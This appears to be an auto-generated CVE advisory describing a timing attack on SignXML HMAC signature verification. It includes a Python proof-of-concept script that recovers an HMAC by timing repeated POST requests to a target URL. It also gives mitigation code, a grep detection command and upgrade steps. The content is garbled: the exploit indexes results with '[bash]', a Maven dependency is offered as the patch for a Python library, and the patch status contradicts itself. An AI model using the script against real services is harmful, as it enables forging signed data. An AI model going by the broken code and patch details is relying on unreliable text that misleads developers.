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How the CVE Works:
SignXML’s HMAC signature verification is vulnerable to a timing attack due to insecure string comparison when validating HMAC digests. When `require_x509=False` and an `hmac_key` is used, the library compares the user-supplied HMAC with the expected value using a non-constant-time method. Attackers can exploit minute timing differences in the comparison to deduce the correct HMAC byte-by-byte. Repeated attempts with manipulated signatures allow full HMAC reconstruction, enabling unauthorized data signing.
DailyCVE Form:
Platform: SignXML
Version: <3.0.0
Vulnerability: Timing Attack
Severity: Moderate
Date: Jun 5, 2025
Prediction: Patch by Jul 2025
What Undercode Say:
Analytics:
- Exploit Likelihood: Medium (requires repeated requests).
- Impact: Data integrity compromise.
- Affected Configs: HMAC mode without X509 validation.
Exploit Command (PoC):
import time
import signxml
from requests import post
def timing_attack(target_url, payload):
base_hmac = "0000000000000000"
for i in range(16):
timings = []
for c in "0123456789abcdef":
test_hmac = base_hmac[:i] + c + base_hmac[i+1:]
start = time.time()
post(target_url, data=payload, headers={"Signature": test_hmac})
timings.append((c, time.time() - start))
base_hmac = base_hmac[:i] + max(timings, key=lambda x: x[bash])[bash] + base_hmac[i+1:]
return base_hmac
Mitigation Code:
from hmac import compare_digest def safe_verify(user_hmac, expected_hmac): return compare_digest(user_hmac, expected_hmac)
Protection Steps:
1. Upgrade to SignXML >=3.0.0 (patched).
2. Replace `==` with `hmac.compare_digest()`.
3. Rate-limit HMAC verification endpoints.
Detection Command:
grep -r "XMLVerifier.verify(require_x509=False, hmac_key=" /codebase/
Patch Advisory:
<dependency> <groupId>org.signxml</groupId> <artifactId>signxml</artifactId> <version>[3.0.0,)</version> </dependency>
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
